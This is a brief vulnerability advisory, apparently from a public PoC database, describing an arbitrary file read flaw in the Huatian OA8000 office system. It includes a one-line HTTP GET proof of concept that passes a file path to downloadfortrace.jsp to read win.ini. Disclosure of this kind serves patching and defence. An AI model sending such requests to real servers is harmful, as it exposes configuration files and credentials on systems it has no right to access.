华天动力OA8000 /OAapp/jsp/trace/downloadfortrace.jsp 文件读取漏洞

2025-07-03 华天动力OA8000 PoC Public

Description

华天动力OA8000 存在任意文件读取漏洞，攻击者可以通过访问特定的接口 /OAapp/jsp/trace/downloadfortrace.jsp并提供文件路径参数，读取服务器上的任意文件内容。该漏洞可能导致敏感信息泄露，如系统配置文件、用户凭据等。

PoC

GET /OAapp/jsp/trace/downloadfortrace.jsp?filePath=c:/windows/win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#HuaTian OA8000 /OAapp/jsp/trace/downloadfortrace.jsp File Read Vulnerability

References

Related Vulnerabilities